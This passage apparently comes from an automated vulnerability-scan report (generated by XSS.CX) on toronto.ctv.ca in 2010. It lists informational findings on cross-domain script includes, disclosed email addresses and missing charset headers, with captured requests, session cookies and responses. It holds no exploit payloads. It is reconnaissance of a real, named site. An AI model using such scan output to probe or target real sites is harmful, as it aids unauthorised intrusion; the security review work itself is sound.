HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:50:28 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Content-Length: 26481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<script language="JavaScript" type="text/javascript" src="/t
...[SNIP]...
</script>

<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js"></script>
...[SNIP]...
</style>

<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />

<table CELLPADDING="0" CELLSPACING="0" BORDER="0" >
...[SNIP]...
<div style="background-image:url(http://www.ctv.ca/mar/images/local990/topHeaderCTVLogo.jpg);background-repeat:no-repeat;height:45px;width:976px">

<a id="logo-zone" href="http://www.ctv.ca"></a>
...[SNIP]...
<div class="dropDownContainer" onmouseup="event.cancelBubble = true;">

<img src="http://images.ctv.ca/mar/images/widgets/local_selectG.gif" alt="Local Stations" height="15" width="108" onclick="showMenu('local');" class="menuButton">

<iframe src="/mar/inc/localOptions.html" frameborder="0" scrolling="no" name="local" id="local" class="dynamicMenu" style="visibility:hidden;height:144px; width: 150px">
...[SNIP]...
<div class="dropDownContainer" onmouseup="event.cancelBubble = true;">

<img src="http://images.ctv.ca/mar/images/widgets/programs_select.gif" alt="Programs A-Z" height="15" width="99" onclick="showMenu('programs')">

<iframe src="/generic/programsList.html" frameborder="0" scrolling="no" id="programs" name="programs" style="visibility:hidden;position:absolute;height:708px;width:500px;border:medium none; ma
...[SNIP]...
<td><a href="http://www.ctv.ca/home">HOME</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/news">News</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/canadaam">Canada AM</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/w5">W5</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/weather">Weather</a>
...[SNIP]...
<td><a href="http://shows.ctv.ca/video.aspx/">Video</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/sports">Sports</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/entertainment">Entertainment</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/programs">Programs</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/tvlist">TV Listing</a>
...[SNIP]...
<td><a href="http://autos.ctv.ca/">Autos</a>
...[SNIP]...
<td><a href="http://www.ctv.ca/contests">Contests</a>
...[SNIP]...
<li><a
href="http://watch.ctv.ca/news/Redirect/?ClipId=375052" onclick="javascript: window.open(this.href,'bctvVideo','width=1010,height=850,left=0,top=0,status=no,scrollbars=1,resizable=1,toolbar=no'); return false"

title="WebMANIA for Sunday, November 14, 2010" class="underline">WEB mania</a>
...[SNIP]...
<li><a href="http://dave.ctv.ca" class="underline">Dave Devall</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/homemti?siteT=toronto" class="underline">My Toronto is...</a>
...[SNIP]...
<h3><a href="http://mynews.ctv.ca/?siteT=toronto"><dt id="five-ddheader" onmouseover="ddMenu('five',1)" onmouseout="ddMenu('five',-1)">
...[SNIP]...
<li><a href="http://mynews.ctv.ca/?siteT=toronto" class="underline">View submissions</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/upload?siteT=toronto" class="underline">Upload a video or image</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/login?siteT=toronto" class="underline">Register or Login</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/webcam_recorder?siteT=toronto" class="underline">Webcam Recorder</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/homemti?siteT=toronto" class="underline">My Toronto is...</a>
...[SNIP]...
<li><a title="CTV.ca Contests" href="http://www.ctv.ca/contests" class="underline">CTV.ca Contests</a>
...[SNIP]...
<li><a href="http://mynews.ctv.ca/?siteT=toronto" class="underline">MyNews</a>
...[SNIP]...
<li><a href="http://watch.ctv.ca/news/50-years-of-news/ctv-toronto/" class="underline">The History of CTV Toronto</a>
...[SNIP]...
<h1><a href="http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml"><dt id="ten-ddheader" onmouseover="ddMenu('ten',1)" onmouseout="ddMenu('ten',-1)">
...[SNIP]...
<li><a href="http://www.ctv.ca/generic/generated/freeheadlines/rdf/TorontoNewHome.xml" class="underline">RSS</a></li>
<li><a href="http://twitter.com/ctvtoronto" target="blank" class="underline">Twitter</a></li>
<li><a href="http://www.facebook.com/pages/Toronto-ON/CTV-Toronto/58148619578" target="blank" class="underline">Facebook</a></li>
<li><a href="http://www.ctv.ca/newsletter" target="blank" class="underline">Newsletters</a>
...[SNIP]...
<li><a href="http://www.ctv.ca/generic/generated/static/NewsWireless/wireless.html" target="blank">Wireless</a>
...[SNIP]...
<p>

<a href="http://www.ctv.ca/servlet/HTMLTemplate/!ctvPop/News/searchtips?title=searchTips" onclick="window.open('http://www.ctv.ca/servlet/HTMLTemplate/!ctvPop/News/searchtips?title=searchTips','searchTips','height=554,width=486,menubar=no,navbar=no,scrollbars=yes,resizable=yes');return false;">Search Tips</a>
...[SNIP]...
<p><a href="http://www.ctv.ca/servlet/HTMLTemplate/!ctv/Search/?query=''&site_codename=ctv">Search for [ <b>
...[SNIP]...
<p class="link"><a href="http://www.ctv.ca/gallery/html/pat-burns-obit-101119/index_.html">

Pat Burns</a>
...[SNIP]...
<p class="link"><a href="http://shows.ctv.ca/SantaClausParade.aspx">

CTV Toronto Breaking News</a>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...

3. Cross-domain script include previous next
There are 2 instances of this issue:

/
/servlet/HTMLTemplate/

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

3.1. http://toronto.ctv.ca/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://metrics.ctvdigital.net/comscore/beacon.js
http://shows.ctv.ca/ctvresources/js/shows/siteNav.js
http://watch.ctv.ca/news/js/OneClip.aspx
http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js
http://www.ctv.ca/generic/js/shared990/common.js
http://www.ctv.ca/generic/js/shared990/hbxVideo.js
http://www.ctv.ca/generic/js/shared990/newVideoPlayer.js
http://www.ctv.ca/mar/hbx/hbx_toronto.js

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.ctv.ca/servlet/HTMLTemplate/!ctv/Search?tf=ctv%2Fmar%2Fhub%2Fhub.html&cf=ctv%2Fmar%2Fctv.cfg&site_codename=ctv&pageNum=0&query=%27%27&x=25&y=16
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:49:39 GMT
Server: Apache
Content-Type: text/html
Content-Length: 272166

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link href="http://www.ctv.ca/generic/generated/freeheadlines/r
...[SNIP]...
</script>
<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js"></script>
...[SNIP]...
</style>

<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</a>

<script language="javascript1.1" src="http://www.ctv.ca/generic/js/shared990/hbxVideo.js"></script>
<script language="javascript1.1" src="http://www.ctv.ca/generic/js/shared990/newVideoPlayer.js"></script>

<script type="text/javascript" src="http://watch.ctv.ca/news/js/OneClip.aspx" ></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://shows.ctv.ca/ctvresources/js/shows/siteNav.js"></script>
<script type="text/javascript" src="http://metrics.ctvdigital.net/comscore/beacon.js"></script>
...[SNIP]...
</script>
<script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx_toronto.js"></script>
...[SNIP]...

3.2. http://toronto.ctv.ca/servlet/HTMLTemplate/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.ctv.ca/generic/dynInclude/ads/js/siteBanner.js
http://www.ctv.ca/mar/hbx/hbx.js

Request

Response

4. Email addresses disclosed previous next
There are 2 instances of this issue:

/
/tl/nav/ctvbc_storynav_tool.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

4.1. http://toronto.ctv.ca/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/

Issue detail

The following email address was disclosed in the response:

talkbacktoronto@ctv.ca

Request

Response

4.2. http://toronto.ctv.ca/tl/nav/ctvbc_storynav_tool.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/tl/nav/ctvbc_storynav_tool.js

Issue detail

The following email address was disclosed in the response:

bob@bob.com

Request

GET /tl/nav/ctvbc_storynav_tool.js HTTP/1.1
Accept: */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:49:47 GMT
Server: Apache
Last-Modified: Wed, 28 Jan 2009 16:00:14 GMT
ETag: "14e4c9-2cd5f-4980810e"
Accept-Ranges: bytes
Content-Length: 183647
Content-Type: application/x-javascript

/*
Script: Core.js
   Mootools - My Object Oriented javascript.

License:
   MIT-style license.

MooTools Copyright:
   copyright (c) 2007 Valerio Proietti, <http://mad4milk.net>

MooTools Credits:
   - Class
...[SNIP]...
<input name="email" value="bob@bob.com">
...[SNIP]...
</script>
       (end)

       Returns:
           email=bob@bob.com&zipCode=90210
   */

   toQueryString: function(){
       var queryString = [];
       this.getFormElements().each(function(el){
           var name = el.name;
           var value = el.getValue();
           if (value === false || !name
...[SNIP]...
<input name="email" value="bob@bob.com">
...[SNIP]...

5. HTML does not specify charset previous
There are 5 instances of this issue:

/generic/programsList.html
/mar/inc/localOptions.html
/poll/index.html
/servlet/HTMLTemplate/
/weatherTop/index.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

5.1. http://toronto.ctv.ca/generic/programsList.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/generic/programsList.html

Request

GET /generic/programsList.html HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:49:42 GMT
Server: Apache
Content-Type: text/html
Content-Length: 11922

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://www.ctv
...[SNIP]...

5.2. http://toronto.ctv.ca/mar/inc/localOptions.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/mar/inc/localOptions.html

Request

GET /mar/inc/localOptions.html HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:49:42 GMT
Server: Apache
Content-Type: text/html
Content-Length: 3665

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://www.ctv.
...[SNIP]...

5.3. http://toronto.ctv.ca/poll/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/poll/index.html

Request

GET /poll/index.html HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; EmbedBroadVol=23

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 03:04:46 GMT
Server: Apache
Content-Type: text/html
Content-Length: 3167

<html>
<head>
<style type="text/css" media="all">@import "http://www.ctv.ca/mar/css/ctv.css";</style>
<style type="text/css" media="all">@import "http://www.ctv.ca/mar/css/homepage2.css";</style>
...[SNIP]...

5.4. http://toronto.ctv.ca/servlet/HTMLTemplate/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/servlet/HTMLTemplate/

Request

Response

5.5. http://toronto.ctv.ca/weatherTop/index.html previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toronto.ctv.ca
Path:	/weatherTop/index.html

Request

GET /weatherTop/index.html HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: toronto.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 04:49:42 GMT
Server: Apache
Content-Type: text/html
Content-Length: 662

<body style="font-family:Verdana,Arial,sans-serif;margin:0px;padding:0px; background-color: transparent; color:#FFFFFF;">
<style>
a {color: #FFFFFF; text-decoration:none}
a:visited {color: #FFFFFF}
a
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 14:23:33 CST 2010.